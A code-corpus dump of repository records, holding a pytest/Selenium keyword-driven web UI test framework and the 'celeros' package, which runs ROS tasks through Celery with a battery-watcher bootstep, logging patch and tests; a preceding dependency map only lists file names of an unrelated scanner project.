{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,724
yomthegrappler/ReviewerTest
refs/heads/master
/Test/test_main.py
import pytest from Utility.constant import Constant from Utility.excel_mgmt import ExcelExec from Utility.module_mapping import DriverMapping import time @pytest.mark.usefixtures("setup") class TestMainExec: @pytest.fixture(autouse=True) def initial_setup(self, setup): self.constant = Constant() self.excel = ExcelExec() self.driver_method = DriverMapping(self.driver) @pytest.mark.run(order=1) def test_main(self): #self.execute_test_main() self.exec_test_main() def exec_test_main(self): self.driver_method.execute_keyword( "navigate", "https://community.musictribe.com/", None ) self.driver_method.execute_keyword( "click", None, "//*[@id='lia-body']/div[2]/center/div[2]/div/div/div/div[2]/div[1]/div/div/div/div[2]/div/div/header/div/div[5]/ul/li[2]/img" ) self.driver_method.execute_keyword( "click", None, "//*[@id='jsMenuBrand']/div/ul/li[2]/a" ) current_url_1 = self.driver.current_url url_expected_1 = "https://www.midasconsoles.com/" if current_url_1 == url_expected_1: self.driver_method.execute_keyword( "click", None, "/html/body/main/header/div[1]/div/div[3]/nav/ul/li[2]/a" ) self.driver_method.execute_keyword( "click", None, "/html/body/main/div[3]/div[3]/div/section/div/div/div[3]/div[1]/div[3]/a/div/h4" ) current_url_2 = self.driver.current_url url_expected_2 = "https://music.secure.force.com/SupportForm?brand=midas&rt=ps" if current_url_2 == url_expected_2: time.sleep(5) # def execute_test_main(self): # test_module_max_row = self.excel.get_row_count(self.constant.Sheetname_Module) + 1 # test_collection_max_row = self.excel.get_row_count(self.constant.Sheetname_Scenario) + 1 # # for fromTestModuleRow in range(2, test_module_max_row): # # test_module_id_val_1 = self.excel.get_cell_data( # self.constant.Sheetname_Module, # fromTestModuleRow, # self.constant.Test_Module_ID_Col_1 # ) # # test_module_name_val_1 = self.excel.get_cell_data( # self.constant.Sheetname_Module, # fromTestModuleRow, # self.constant.Test_Module_Name_Col_1 # ) # # run_mode_val_1 = self.excel.get_cell_data( # self.constant.Sheetname_Module, # fromTestModuleRow, # self.constant.Test_Mod_RunMode_Col # ) # # if str(run_mode_val_1).upper() == "SKIP": # continue # # if str(run_mode_val_1).upper() == "YES": # test_module_max_row = self.excel.get_row_count(test_module_name_val_1) # if test_module_max_row is None or test_module_max_row is False: # continue # # for fromTestCollectionRow in range(2, test_collection_max_row): # test_module_id_val_2 = self.excel.get_cell_data( # self.constant.Sheetname_Scenario, # fromTestCollectionRow, # self.constant.Test_Module_ID_Col_2 # ) # # if test_module_id_val_1 == test_module_id_val_2: # test_module_name_val_2 = self.excel.get_cell_data( # self.constant.Sheetname_Scenario, # fromTestCollectionRow, # self.constant.Test_Module_Name_Col_2 # ) # # test_case_id_val_1 = self.excel.get_cell_data( # self.constant.Sheetname_Scenario, # fromTestCollectionRow, # self.constant.Test_Case_ID_Col_1 # ) # # test_case_name_val = self.excel.get_cell_data( # self.constant.Sheetname_Scenario, # fromTestCollectionRow, # self.constant.Test_Case_Name_Col # ) # # run_mode_val_2 = self.excel.get_cell_data( # self.constant.Sheetname_Scenario, # fromTestModuleRow, # self.constant.Test_Scen_RunMod_Col # ) # # if str(run_mode_val_2).upper() == "SKIP": # continue # # if str(run_mode_val_2).upper() == "YES": # test_case_id = test_case_id_val_1 # # for fromTestStepRow in range(2, test_module_max_row + 1): # test_case_id_val_2 = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Case_ID_Col_2 # ) # # if test_case_id == test_case_id_val_2: # # test_step_id = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Step_ID_Col # ) # # test_step_description = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Step_Desc_Col # ) # # action_keyword = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Step_ActionKey_Col # ) # # step_property = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Step_Property_Col # ) # # nObject = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Step_Object_Col # ) # # nObject_value = self.excel.get_object_value( # self.constant.Sheetname_Objects, # nObject # ) # # nData_value = self.excel.get_cell_data( # test_module_name_val_1, # fromTestStepRow, # self.constant.Test_Step_Value_Col # ) # # stepResult = self.driver_method.execute_keyword( # action_keyword, # nData_value, # nObject_value # )
{"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]}
53,725
yomthegrappler/ReviewerTest
refs/heads/master
/Utility/excel_mgmt.py
import openpyxl from Utility.constant import Constant class ExcelExec: def __init__(self): self.constant = Constant() self.work_book = openpyxl.load_workbook(self.constant.Path_Excel) def get_sheet_name(self, sheet_name): sheet = self.work_book[sheet_name] return sheet def get_row_count(self, sheet_name): sheet = self.get_sheet_name(sheet_name) return sheet.max_row def get_col_count(self, sheet_name): sheet = self.get_sheet_name(sheet_name) return sheet.max_column def get_cell_data(self, sheet_name, row_count, col_count): sheet = self.get_sheet_name(sheet_name) return sheet.cell(row_count, col_count).value def get_object_value(self, sheet_name, object_name): row_count = self.get_row_count(sheet_name) for i in range(1, row_count + 1): if object_name == "": break elif str(object_name) == str(self.get_cell_data(sheet_name, i, self.constant.Page_ObjectName_Col)): object_value = str(self.get_cell_data(sheet_name, i, self.constant.Identifier)) return object_value
{"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]}
53,726
yomthegrappler/ReviewerTest
refs/heads/master
/Driver/webdriver_factory.py
from selenium import webdriver from Utility.constant import Constant class GetWebdriverInstance: def __init__(self, browser): self.browser = browser.lower() self.constant = Constant() def getbrowserInstance(self): if self.browser == 'chrome': driverLocation = self.constant.Path_Chrome_Driver driver = webdriver.Chrome(executable_path=driverLocation) driver.maximize_window() driver.implicitly_wait(5) driver.delete_all_cookies() return driver elif self.browser == 'firefox': path = self.constant.Path_Firefox_Driver driver = webdriver.Firefox(executable_path=path) driver.maximize_window() driver.implicitly_wait(5) driver.delete_all_cookies() return driver else: print("Please make sure selected browser is correct")
{"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]}
53,727
yomthegrappler/ReviewerTest
refs/heads/master
/Utility/constant.py
class Constant: Path_Chrome_Driver = "E:\\chromedriver.exe" Path_Firefox_Driver = "E:\\geckodriver.exe" Path_Excel = "E:\\ReviewerPytest\\reviewer.xlsx" Sheetname_Module = "Test Module" Sheetname_Scenario = "Test Collection" Sheetname_Objects = "Test Objects" Test_Module_ID_Col_1 = 1 Test_Module_Name_Col_1 = 2 Test_Mod_RunMode_Col = 3 Test_Module_ID_Col_2 = 1 Test_Module_Name_Col_2 = 2 Test_Case_ID_Col_1 = 3 Test_Case_Name_Col = 4 Test_Scen_RunMod_Col = 5 Test_Case_ID_Col_2 = 1 Test_Step_ID_Col = 2 Test_Step_Desc_Col = 3 Test_Step_ActionKey_Col = 4 Test_Step_Property_Col = 5 Test_Step_Object_Col = 6 Test_Step_Value_Col = 7 Page_ObjectName_Col = 2 Identifier = 3
{"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]}
53,728
yomthegrappler/ReviewerTest
refs/heads/master
/Driver/selenium_webdriver.py
from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import time class SeleniumDriver: def __init__(self, driver): self.driver = driver def navigate(self, data): self.driver.get(data) return True def getElement(self, locator): time.sleep(0.6) element = WebDriverWait(self.driver, 5).until(EC.presence_of_element_located((By.XPATH, locator))) return element def sendKeys(self, data, locator): try: self.getElement(locator).clear() self.getElement(locator).send_keys(data) return True except: return False def elementClick(self, locator): try: self.getElement(locator).click() return True except: return False
{"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]}
53,729
yomthegrappler/ReviewerTest
refs/heads/master
/Utility/module_mapping.py
from Driver.selenium_webdriver import SeleniumDriver class DriverMapping(SeleniumDriver): def execute_keyword(self, keyword, value, objectname): if keyword == 'navigate': result = None result = self.navigate(value) return result elif keyword == 'input': result = None result = self.sendKeys(value, objectname) return result elif keyword == "click": result = None result = self.elementClick(objectname) return result
{"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]}
53,944
asmodehn/celeros
refs/heads/master
/celeros/bootsteps/batterywatcher.py
#!/usr/bin/env python import sys import os import logging import multiprocessing import pyros import kombu from celery import Celery, bootsteps from celery.platforms import signals as _signals from celery.utils.log import get_logger from celery.utils.functional import maybe_list _logger = get_logger(__name__) # TODO : fix logging : http://docs.celeryproject.org/en/latest/userguide/extending.html#installing-bootsteps # logging is not reentrant, and methods here are called in different ways... # TODO : configuration for tests... class BatteryWatcher(bootsteps.StartStopStep): """ This is a worker bootstep. It starts a timer to watch for battery levels. Pyros bootstep is required for this to be able to work. """ def __init__(self, consumer, **kwargs): logging.warn('{0!r} bootstep {1}'.format(consumer, __file__)) self.battery_topic = None def create(self, consumer): return self def start(self, consumer): # our step is started together with all other Worker/Consumer # bootsteps. # TODO : find a simpler / more customizable way of configuring this for any robot self.battery_topic = consumer.app.conf.CELEROS_BATTERY_TOPIC if self.battery_topic: # if we care about the battery # Setting up a timer looping to watch Battery levels consumer.timer.call_repeatedly(consumer.app.conf.CELEROS_BATTERY_CHECK_PERIOD, self.battery_watcher, args=(consumer,), kwargs={}, priority=0) else: _logger.info("CELEROS_BATTERY_TOPIC set to None. BatteryWatcher disabled.") def battery_watcher(self, consumer): try: topic_list = consumer.app.ros_node_client.topics() if self.battery_topic not in topic_list: _logger.warn("Topic {battery_topic} not detected. giving up.".format(battery_topic=self.battery_topic)) return try: battery_msg = consumer.app.ros_node_client.topic_extract( self.battery_topic ) if battery_msg: # we assume standard sensor message structure here battpct = battery_msg.get(consumer.app.conf.CELEROS_BATTERY_LEVEL_FIELD, {}) if battpct is None: _logger.warn("Battery percentage not found in battery message : {0}".format(battery_msg)) else: _logger.debug("Watching Battery : {0}% ".format(battpct)) # enabling/disabling consumer to queues bound by battery requirements for bpct, q in maybe_list(consumer.app.conf.CELEROS_MIN_BATTERY_PCT_QUEUE): if isinstance(q, kombu.Queue): qname = q.name else: # assumed str qname = q for kq in consumer.app.conf.CELERY_QUEUES: if kq.name == qname: # we find a queue with the same name already configured. we should use it. q = kq break # to stop consuming from a queue we only need the queue name if battpct < bpct and consumer.task_consumer.consuming_from(qname): _logger.warn("Battery Low {0}%. Ignoring task queue {1} until battery is recharged.".format(battpct, qname)) consumer.cancel_task_queue(qname) elif not battpct < bpct and not consumer.task_consumer.consuming_from(qname): # To listen to a queue we might need to create it. # We should reuse the ones from config if possible if isinstance(q, kombu.Queue): consumer.add_task_queue(q) else: # if we didnt find the queue among the configured queues, we need to create it. consumer.add_task_queue( queue=qname, # it seems consumer is not applying the default from config from here? exchange=consumer.app.conf.CELERY_DEFAULT_EXCHANGE, exchange_type=consumer.app.conf.CELERY_DEFAULT_EXCHANGE_TYPE, rounting_key=consumer.app.conf.CELERY_DEFAULT_ROUTING_KEY, ) except pyros.PyrosServiceTimeout as exc: _logger.warn("Failed to get battery levels. giving up.") return except pyros.PyrosServiceTimeout as exc: _logger.warn("Failed to lookup topics. giving up.") def stop(self, consumer): # The Consumer will call stop() when the connection is lost logging.warn('{0!r} stopping {1}'.format(consumer, __file__)) consumer.timer.clear()
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,945
asmodehn/celeros
refs/heads/master
/tests/celeros/testceleros.py
#!/usr/bin/env python import logging import unittest import sys import os import time # Unit test import try: import rostest import rospy import roslaunch from std_msgs.msg import String, Empty from std_srvs.srv import Trigger, TriggerResponse from pyros_setup import rostest_nose except ImportError as exc: import os import sys import pyros_setup pyros_setup = pyros_setup.delayed_import_auto(base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..', '..')) import rostest import rospy import roslaunch from std_msgs.msg import String, Empty from std_srvs.srv import Trigger, TriggerResponse from pyros_setup import rostest_nose from celeros import celeros_app from celeros import rostasks launch = None worker_process = None # TODO : maybe we need a config for tests specifically ( instead of using the default ) app = "celeros.app" # OR celeros.celeros_app OR celeros_app ( to match code )?? config = "celeros.config" # Should be used only by nose ( or other python test tool ) # CAREFUL with comments, copy paste mistake are real... # CAREFUL dont use assertFalse -> easy to miss when reviewing code def setup_module(): if not rostest_nose.is_rostest_enabled(): rostest_nose.rostest_nose_setup_module() # Start roslaunch global launch launch = roslaunch.scriptapi.ROSLaunch() launch.start() # start required worker - needs to match the content of *.test files for rostest to match global worker_process rospy.set_param('/celeros/topics', "['/celeros_test.*/injected','/celeros_test.*/extracted']") rospy.set_param('/celeros/services', "['/celeros_test.*/called']") worker_node = roslaunch.core.Node( 'celeros', 'celeros', name='celeros', args=" -A " + app + " --config " + config ) worker_process = launch.launch(worker_node) def teardown_module(): if not rostest_nose.is_rostest_enabled(): # finishing all process are finished if worker_process is not None: worker_process.stop() rostest_nose.rostest_nose_teardown_module() class Timeout(object): """ Small useful timeout class """ def __init__(self, seconds): self.seconds = seconds def __enter__(self): self.die_after = time.time() + self.seconds return self def __exit__(self, type, value, traceback): pass @property def timed_out(self): return time.time() > self.die_after class TestCeleros(unittest.TestCase): @classmethod def setUpClass(cls): # we still need a node to interact with topics rospy.init_node('celeros_test', anonymous=True) # CAREFUL : this should be done only once per PROCESS # Here we enforce TEST class 1<->1 PROCESS. ROStest style # set required parameters - needs to match the content of *.test files for rostest to match rospy.set_param("~config", config) @classmethod def tearDownClass(cls): rospy.signal_shutdown('test complete') def _topic(self, data): print data self._injected = True return String(data='got me a message!') def _service(self, req): print req self._called = True return TriggerResponse(success=True, message='test node called !') def setUp(self): config = rospy.get_param('~config') if config: rospy.logwarn("GOT TEST CONFIG PARAM {0}".format(config)) celeros_app.config_from_object(config) def tearDown(self): # the node will shutdown with the test process. pass def test_service_call(self): # service to be called self._called = False self._srv = rospy.Service('~called', Trigger, self._service) # constant used just to prevent spinning too fast overspin_sleep_val = 0.02 def prevent_overspin_sleep(): time.sleep(overspin_sleep_val) # we wait a bit for the service to be discovered time.sleep(2) # we send the task to the worker result = rostasks.service_call.apply_async([rospy.resolve_name('~called')]) # we wait until we get called with Timeout(60) as t: while not t.timed_out and not self._called: prevent_overspin_sleep() assert not t.timed_out and self._called def test_topic_inject(self): self._injected = False self._sub = rospy.Subscriber('~injected', String, self._topic) # constant use just to prevent spinning too fast overspin_sleep_val = 0.02 def prevent_overspin_sleep(): time.sleep(overspin_sleep_val) # we wait a bit for the service to be discovered time.sleep(2) # we send the task to the worker result = rostasks.topic_inject.apply_async([rospy.resolve_name('~injected'), {'data':'here is a string'}]) # we wait until we get called with Timeout(60) as t: while not t.timed_out and not self._injected: prevent_overspin_sleep() assert not t.timed_out and self._injected # def test_topic_extract(self): # # self._extracted = False # self._pub = rospy.Publisher('~extracted', String, queue_size=1) # pass if __name__ == '__main__': print("ARGV : %r", sys.argv) # Note : Tests should be able to run with nosetests, or rostest ( which will launch nosetest here ) rostest_nose.rostest_or_nose_main('celeros', 'testCeleros', TestCeleros, sys.argv)
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,946
asmodehn/celeros
refs/heads/master
/celeros/app.py
from __future__ import absolute_import import time import datetime import random from celery import Celery from celery.bin import Option from celery.result import AsyncResult from .bootsteps import PyrosBoot, BatteryWatcher # REQUIRED, to have celerybeatredis subpackage loaded by celery beat... from . import celerybeatredis import sys # move that into __init__. It seems celery apps usually follow same package pattern as flask. celeros_app = Celery() # BEWARE : https://github.com/celery/celery/issues/3050 # doing this prevent setting config from command line # from . import config # celeros_app.config_from_object(config) # setting up custom bootstep to start ROS node and pass ROS arguments to it # for worker ( running on robot ) celeros_app.steps['worker'].add(PyrosBoot) celeros_app.steps['consumer'].add(BatteryWatcher) celeros_app.user_options['worker'].add(Option('-R', '--ros-arg', action="append", help='Arguments for ros initialisation')) # and for beat ( running on concert ) celeros_app.user_options['beat'].add(Option('-R', '--ros-arg', action="append", help='Arguments for ros initialisation')) ############################# # Basic task for simple tests ############################# from celery.utils.log import get_task_logger _logger = get_task_logger(__name__) # These tasks do not require ROS. # But they are useful to test if basic celery functionality is working. # How to test in a shell : # Normal run (to default queue) # $ celery -b redis://localhost:6379 --config=celeros.config call celeros.app.add_together --args='[4,6]' # simulated run (to simulated queue) # $ celery -b redis://localhost:6379 --config=gopher_tasks.config_localhost call celeros.app.add_together --args='[4,6]' --kwargs='{"simulated": true}' # @celeros_app.task() def add_together(a, b, simulated=False): _logger.info("Sleeping 7s") time.sleep(7) _logger.info("Adding %s + %s" % (a, b)) return a + b # Basic task with feedback for simple tests @celeros_app.task(bind=True) def long_task(self, simulated=False): """Background task that runs a long function with progress reports.""" verb = ['Starting up', 'Booting', 'Repairing', 'Loading', 'Checking'] adjective = ['master', 'radiant', 'silent', 'harmonic', 'fast'] noun = ['solar array', 'particle reshaper', 'cosmic ray', 'orbiter', 'bit'] message = '' total = random.randint(10, 50) for i in range(total): if not message or random.random() < 0.25: message = '{0} {1} {2}...'.format(random.choice(verb), random.choice(adjective), random.choice(noun)) self.update_state(state='PROGRESS', meta={'current': i, 'total': total, 'status': message}) time.sleep(1) return {'current': 100, 'total': 100, 'status': 'Task completed! from celeros package', 'result': 42}
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,947
asmodehn/celeros
refs/heads/master
/celeros/rostasks.py
import os import socket import time import datetime from .app import celeros_app from celery import Task, states from celery.contrib.abortable import AbortableTask from celery.utils.log import get_task_logger _logger = get_task_logger(__name__) # TODO : fancy task decorators and behaviors for ROS-style tasks # http://stackoverflow.com/questions/6393879/celery-task-and-customize-decorator class RosTask(AbortableTask): abstract = True def run(self, *args, **kwargs): """ :param args: args of the task :param kwargs: kwargs of the task :return: """ # TODO : investigate dynamic wake up of pyros ? # TODO : investigate the task specifying which service / topics it needs to access (via decorator) ? # Would it be better (only using resources when actually needed) ? # or worse (dynamic everything makes things more fragile) ? _logger.info("Starting RosTask") return self.run(*args, **kwargs) def after_return(self, status, retval, task_id, args, kwargs, einfo): # exit point of the task whatever is the state _logger.info("Ending RosTask") pass @celeros_app.task(bind=True) def topic_inject(self, topic_name, _msg_content={}, **kwargs): _logger.info("Injecting {msg} {kwargs} into {topic}".format(msg=_msg_content, kwargs=kwargs, topic=topic_name)) res = self.app.ros_node_client.topic_inject(topic_name, _msg_content, **kwargs) _logger.info("Result : {res}".format(res=res)) return res @celeros_app.task(bind=True) def topic_extract(self, topic_name): _logger.info("Extracting from {topic}".format(topic=topic_name)) res = self.app.ros_node_client.topic_extract(topic_name) _logger.info("Result : {res}".format(res=res)) return res @celeros_app.task(bind=True) def service_call(self, service_name, _msg_content={}, **kwargs): _logger.info("Calling service {service} with {msg} {kwargs}".format(msg=_msg_content, kwargs=kwargs, service=service_name)) res = self.app.ros_node_client.service_call(service_name, _msg_content, **kwargs) _logger.info("Result : {res}".format(res=res)) return res # TODO : implement something similar to actions. # Like actions with topics # AND with services only # But without using action lib.
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,948
asmodehn/celeros
refs/heads/master
/celeros/__init__.py
from __future__ import absolute_import # This monkey patch celery from . import customlogger from .rosperiodictasks import PeriodicTask from .scheduler import RedisScheduler, RedisScheduleEntry from .celerybeatredis import DateTimeEncoder, DateTimeDecoder from .app import celeros_app from celery.task.control import inspect __all__ = [ 'DateTimeDecoder', 'DateTimeEncoder', 'PeriodicTask', 'RedisScheduler', 'RedisScheduleEntry', 'celeros_app', 'inspect', ]
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,949
asmodehn/celeros
refs/heads/master
/celeros/customlogger.py
# Ref : http://loose-bits.com/2010/12/celery-logging-with-python-logging.html # TODO : probably a better solution if we can setup handlers before starting celery worker # While telling celery not to hijack existing root logger import logging import celery.app.log from celery.app.log import ColorFormatter from . import config # # def _configure_logger(self, logger, logfile, loglevel, # format, colorize, **kwargs): # if logger is not None: # self.setup_handlers(logger, logfile, format, # colorize, **kwargs) # if loglevel: # logger.setLevel(loglevel) # # # def setup_handlers(self, logger, logfile, format, colorize, # formatter=ColorFormatter, **kwargs): # if self._is_configured(logger): # return logger # handler = self._detect_handler(logfile) # handler.setFormatter(formatter(format, use_color=colorize)) # logger.addHandler(handler) # return logger old_configure_logger = celery.app.log.Logging._configure_logger # Store the real method. old_setup_handlers = celery.app.log.Logging.setup_handlers # Store the real method. def celeros_configure_logger(self, logger, logfile, loglevel, format, colorize, **kwargs): """Replacement for :method:`celery.app.log._configure_logger`.""" if logger is not None: self.setup_handlers(logger, logfile, format, colorize, **kwargs) if loglevel: logger.setLevel(loglevel) def celeros_setup_handlers(self, logger, logfile, format, colorize, formatter=ColorFormatter, **kwargs): """Replacement for :method:`celery.app.log.setup_handlers`.""" patched_logger = old_setup_handlers(self, logger, logfile, format, colorize, formatter, **kwargs) # Check if not patched. if not getattr(patched_logger, "_LOG_PATCH_DONE", False): # Lock and patch. logging._acquireLock() try: handlers = getattr(config, "PATCH_CELERYD_LOG_EXTRA_HANDLERS", []) for handler_lvl, handler_fn in handlers: handler = handler_fn() handler.setLevel(handler_lvl) handler.setFormatter(formatter(format, use_color=colorize)) patched_logger.addHandler(handler) # Mark logger object patched. setattr(patched_logger, "_LOG_PATCH_DONE", True) finally: logging._releaseLock() return patched_logger # Apply patches. CELERY_MOD_PATCHED = False if not CELERY_MOD_PATCHED: logging._acquireLock() # Lock logging during patch. try: celery.app.log.Logging._configure_logger = celeros_configure_logger # Patch old w/ new. celery.app.log.Logging.setup_handlers = celeros_setup_handlers # Patch old w/ new. CELERY_MOD_PATCHED = True finally: logging._releaseLock()
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,950
asmodehn/celeros
refs/heads/master
/celeros/flowerconfig.py
import ast import json from flower.utils.template import humanize # Enable debug logging logging = 'DEBUG' # This should parse and change to json the args and kwargs # TODO : doesnt seem to do anything. fix it ! def format_task(task): print (task) task.args = json.dumps(task.args) task.kwargs = json.dumps(task.kwargs) return task
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,951
asmodehn/celeros
refs/heads/master
/examples/src/turtlecmd_ui.py
